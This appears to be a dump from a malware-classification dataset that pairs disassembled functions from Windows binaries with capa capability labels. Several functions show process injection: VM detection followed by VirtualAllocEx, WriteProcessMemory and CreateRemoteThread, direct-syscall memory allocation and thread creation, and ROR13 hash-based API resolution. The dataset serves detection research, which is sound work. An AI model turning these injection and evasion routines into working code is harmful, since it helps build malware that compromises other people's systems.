joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011253
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x1400117a0
push rbp
push rsi
push rdi
sub rsp, 0x260
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x50
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14002100f]
call fcn.140011352
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0x1000
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x48], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x68]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001c8e0], eax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x88]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001c8dc], eax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0xa8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001c8d8], eax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0xc8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001c8c8], eax
lea rax, [rbp + 0xe4]
lea rcx, [0x140019e2c]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x28]
xor r8d, r8d
lea rdx, [rbp + 8]
mov rcx, 0xffffffffffffffff
call fcn.14001139d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbp + 0x104]
mov qword [rsp + 0x20], rcx
mov r9d, 7
lea r8, [rbp + 0xe4]
mov rdx, qword [rbp + 8]
mov rcx, rax
call fcn.1400113a2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 8]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rbp + 0x128]
call fcn.1400111c7
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x128]
call fcn.140011384
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x140019d40]
call fcn.1400112ee
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.14001119a
lea rsp, [rbp + 0x200]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001125d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014210
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014230
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014243
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001426d
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014281
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014293
xor al, al
jmp 0x1400142b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142af
xor al, al
jmp 0x1400142b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011384
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a84
mov r10, rcx
mov eax, dword [0x14001c8c8]
syscall
ret

Function at 0x14001139d
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a60
mov r10, rcx
mov eax, dword [0x14001c8e0]
syscall
ret

Function at 0x1400113a2
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011a6c
mov r10, rcx
mov eax, dword [0x14001c8dc]
syscall
ret
Function at 0x402230
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00409700]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402250
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402258
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402250
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x4022a5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x40229c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402250
add rax, 0x28
cmp rax, r9
jne 0x402288
xor eax, eax
ret

Function at 0x4022b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00409700]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4022d0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4022d8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x4022d0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x402360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00409700]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402380
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x402388
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x407be0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.004015f0
mov edx, 0
lea rcx, str.VBoxTrayToolWndClass
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
lea rdx, str.VBoxTrayToolWnd
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 8], 0
jne 0x407c34
cmp qword [rbp - 0x10], 0
je 0x407c4a
lea rcx, str.virtualbox_VM_detected_:_
call fcn.00407b80
mov eax, 0xfffffffe
jmp 0x407d29
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x13a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 0x13a
lea r8, [0x00408100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
push rsi
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400094f0
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x70
mov rax, qword [0x140016050]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
call fcn.14000a470
test rax, rax
jne 0x140009535
xor al, al
jmp 0x140009610
cmp qword [rsp + 0x88], 0
jne 0x14000955f
mov eax, dword [rsp + 0x80]
lea rdx, [rsp + 0x20]
mov ecx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x14000955f
xor al, al
jmp 0x140009610
mov rax, qword [rsp + 0x90]
and rax, 0xfffffffffffff000
mov rcx, qword [rsp + 0xa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0]
mov qword [rax], 0
mov rax, qword [rsp + 0x98]
mov dword [rax], 0
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
nop
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rax]
call fcn.140008c40
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0]
mov qword [rcx], rax
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
cmp qword [rsp + 0x88], 0
jne 0x14000960c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x14000960e
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400126c0
add rsp, 0x70
pop rdi
ret
Function at 0x140009b10
Capabilities:
Find process by pid

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0xc0000001
cmp qword [rsp + 0x78], 0
jne 0x140009b5f
mov eax, dword [rsp + 0x70]
lea rdx, [rsp + 0x38]
mov ecx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x140009b5f
xor al, al
jmp 0x140009cbb
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
nop
mov rcx, qword [rsp + 0x80]
call fcn.140009700
movzx eax, al
test eax, eax
je 0x140009c7a
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax - 1]
mov rcx, rax
call fcn.140009700
movzx eax, al
test eax, eax
je 0x140009c7a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
cmp dword [0x14001fffc], 0
je 0x140009bd7
call fcn.1400021a0
call fcn.14000fa80
cmp dword [0x14001fffc], 0
jne 0x140009bf1
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x30], rax
jae 0x140009c10
mov eax, dword [rsp + 0x88]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0
jmp 0x140009c4d
lfence
mov r8d, dword [rsp + 0x88]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.14000aa60
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x88]
cmp dword [rsp + 0x28], eax
je 0x140009c45
mov dword [rsp + 0x20], 0xc0000001
jmp 0x140009c4d
mov dword [rsp + 0x20], 0
cmp dword [0x14001fffc], 0
je 0x140009c7a
call fcn.14000fb40
mov qword [rsp + 0x48], rax
call fcn.14000fae0
call fcn.1400021b0
cmp qword [rsp + 0x48], 0
je 0x140009c7a
mov dword [rsp + 0x20], 0xc0000001
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
jmp 0x140009c8a
cmp qword [rsp + 0x78], 0
jne 0x140009c9d
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp dword [rsp + 0x20], 0
jl 0x140009cae
mov dword [rsp + 0x24], 1
jmp 0x140009cb6
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x14000a010
Capabilities:
Find process by pid

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x98
mov rax, qword [0x140016050]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0xc0000001
cmp qword [rsp + 0x30], 0
jne 0x14000a07a
mov eax, dword [rsp + 0xb0]
lea rdx, [rsp + 0x30]
mov ecx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x14000a07a
xor al, al
jmp 0x14000a25f
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
nop
mov rcx, qword [rsp + 0xc0]
call fcn.140009700
movzx eax, al
test eax, eax
je 0x14000a21b
mov eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xc0]
lea rax, [rcx + rax - 1]
mov rcx, rax
call fcn.140009700
movzx eax, al
test eax, eax
je 0x14000a21b
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x48], rax
cmp dword [0x14001fffc], 0
jne 0x14000a10a
cmp dword [0x14001ffbc], 0
je 0x14000a140
call fcn.1400021a0
cmp dword [0x14001fffc], 0
je 0x14000a11d
call fcn.14000fa80
cmp dword [0x14001ffbc], 0
je 0x14000a140
call fcn.140002740
btr rax, 0x10
mov rcx, rax
call fcn.140002840
mov dword [rsp + 0x24], 1
cmp dword [0x14001fffc], 0
jne 0x14000a19f
cmp dword [0x14001ffbc], 0
jne 0x14000a163
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
jb 0x14000a19f
mov r8d, dword [rsp + 0xc8]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.14000aa60
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xc8]
cmp dword [rsp + 0x38], eax
je 0x14000a195
mov dword [rsp + 0x20], 0xc0000001
jmp 0x14000a19d
mov dword [rsp + 0x20], 0
jmp 0x14000a1bc
mov eax, dword [rsp + 0xc8]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0
cmp dword [0x14001fffc], 0
jne 0x14000a1cc
cmp dword [rsp + 0x24], 0
je 0x14000a21b
mov qword [rsp + 0x50], 0
cmp dword [rsp + 0x24], 0
je 0x14000a1ee
call fcn.140002740
bts rax, 0x10
mov rcx, rax
call fcn.140002840
cmp dword [0x14001fffc], 0
je 0x14000a206
call fcn.14000fb40
mov qword [rsp + 0x50], rax
call fcn.14000fae0
call fcn.1400021b0
cmp qword [rsp + 0x50], 0
je 0x14000a21b
mov dword [rsp + 0x20], 0xc0000001
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
jmp 0x14000a22b
cmp qword [rsp + 0xb8], 0
jne 0x14000a241
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp dword [rsp + 0x20], 0
jl 0x14000a252
mov dword [rsp + 0x28], 1
jmp 0x14000a25a
mov dword [rsp + 0x28], 0
movzx eax, byte [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400126c0
add rsp, 0x98
pop rdi
pop rsi
ret
Function at 0x14000a470
Capabilities:
Check os version

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140016050]
xor rax, rsp
mov qword [rsp + 0x150], rax
cmp qword [0x140016118], 0
jne 0x14000a555
mov dword [rsp + 0x30], 0x114
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
je 0x14000a4b5
xor eax, eax
jmp 0x14000a55c
cmp dword [rsp + 0x34], 0xa
jb 0x14000a544
cmp dword [rsp + 0x3c], 0x3839
jb 0x14000a544
call fcn.140002760
and rax, 0xfffffffffffff000
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov qword [rsp + 0x28], rax
movabs rax, 0xffffff8000000000
mov rcx, qword [rsp + 0x28]
and rcx, rax
mov rax, rcx
mov qword [0x140016118], rax
movabs rax, 0x7ffffffff8
mov rcx, qword [0x140016118]
add rcx, rax
mov rax, rcx
mov qword [0x14001ffe0], rax
movabs rax, 0x7b7ffffff8
mov rcx, qword [0x140016118]
add rcx, rax
mov rax, rcx
mov qword [0x14001ffe8], rax
jmp 0x14000a555
movabs rax, 0xfffff68000000000
mov qword [0x140016118], rax
mov rax, qword [0x140016118]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400126c0
add rsp, 0x168
ret
Function at 0x140002940
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000299d
lea rbx, [0x140043cd0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002984
cmp r10, 2
jb 0x140002984
cmp byte [r9], r8b
jne 0x140002984
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002960
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400029df
lea rbx, [0x140043cd0]
cmp r8b, 0x23
jne 0x1400029c3
cmp byte [r9], r8b
jne 0x1400029c3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400029b0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002b20
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140002b3a
mov qword [r8], 0
lea rdx, [0x140043734]
call fcn.1400029f0
mov rbx, rax
test rax, rax
jne 0x140002b5a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140002c31
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002c31
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140002c31
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002c31
cmp rdi, 0xffffffffffffffff
je 0x140002c31
mov rax, qword [0x14004f840]
test rax, rax
je 0x140002bce
inc dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140002c31
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140002c1e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14004f840]
test rax, rax
je 0x140002c13
dec dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002c3a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140002c2c
mov qword [r14], rdi
mov rax, rsi
jmp 0x140002c3c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140010c70
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x14004f840]
lea rdx, [0x140043cd0]
mov r8d, ecx
mov rbx, qword [rax + 0x1d18]
add rbx, 0x108
movsxd r9, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + r9*4 - 4]
not edi
movzx eax, r8b
mov r8d, dword [rbx + 4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [rdx + rcx*4]
not edi
cmp r9d, r8d
jne 0x140010d27
lea ecx, [r9 + 1]
test r8d, r8d
je 0x140010d13
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140010d18
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140022990
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140011760
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14004f010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14004f840]
mov edi, edx
cmp byte [rbx + 0x20d5], 0
jne 0x1400117c0
cmp byte [rbx + 0x20d6], 0
jne 0x1400117c0
mov r9d, dword [rbx + 0x3178]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1400028c0
test dil, 1
je 0x1400118e6
jmp 0x14001184f
movss xmm1, dword [rbx + 0x16ec]
lea r8, str.Tooltip__02d
mov r9d, dword [rbx + 0x3178]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140048460]
mulss xmm1, dword [0x140048454]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0x120]
addss xmm1, dword [rbx + 0x124]
mov qword [rbx + 0x1ddc], rax
mov dword [rbx + 0x1dc4], 1
movss dword [rbx + 0x1dd4], xmm0
mov byte [rbx + 0x1dfc], 1
movss dword [rbx + 0x1dd8], xmm1
movss xmm0, dword [rbx + 0x1748]
mulss xmm0, dword [0x1400483cc]
or dword [rbx + 0x1dc0], 0x41
movss dword [rbx + 0x1e20], xmm0
call fcn.1400028c0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x1400118a0
lea r11, [0x140043cd0]
nop
cmp r9b, 0x23
jne 0x140011883
cmp byte [r8], r9b
jne 0x140011883
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140011870
not ecx
call fcn.14000a590
test rax, rax
je 0x1400118e6
cmp byte [rax + 0xcf], 0
je 0x1400118e6
mov byte [rax + 0xd6], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xf0], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x3178]
mov edx, 0x10
mov r9d, dword [rbx + 0x3178]
call fcn.1400028c0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x22c0347
call fcn.14000d160
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140041b90
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140016560
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3260], 0
lea rbx, [rcx + 0x3268]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140016603
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test ecx, ecx
jns 0x1400165b6
mov eax, ecx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.140022700
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1400031f0
mov eax, dword [rbx]
lea rcx, [0x14004f838]
mov r9, qword [rdi + 0x3260]
test eax, eax
lea edx, [rax - 1]
mov rax, qword [rdi + 0x3270]
cmove edx, r14d
test rax, rax
movsxd r8, edx
mov edx, 1
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001660b
mov rcx, rbx
call fcn.1400031f0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140016a40
Capabilities:
Hash data with crc32

Disassembly:
push rbx
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov rbx, rcx
mov eax, r10d
test r9b, r9b
je 0x140016a92
lea r11, [0x140043cd0]
cmp r9b, 0x23
jne 0x140016a75
cmp byte [r8], r9b
jne 0x140016a75
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140016a62
mov r11, qword [0x14004f840]
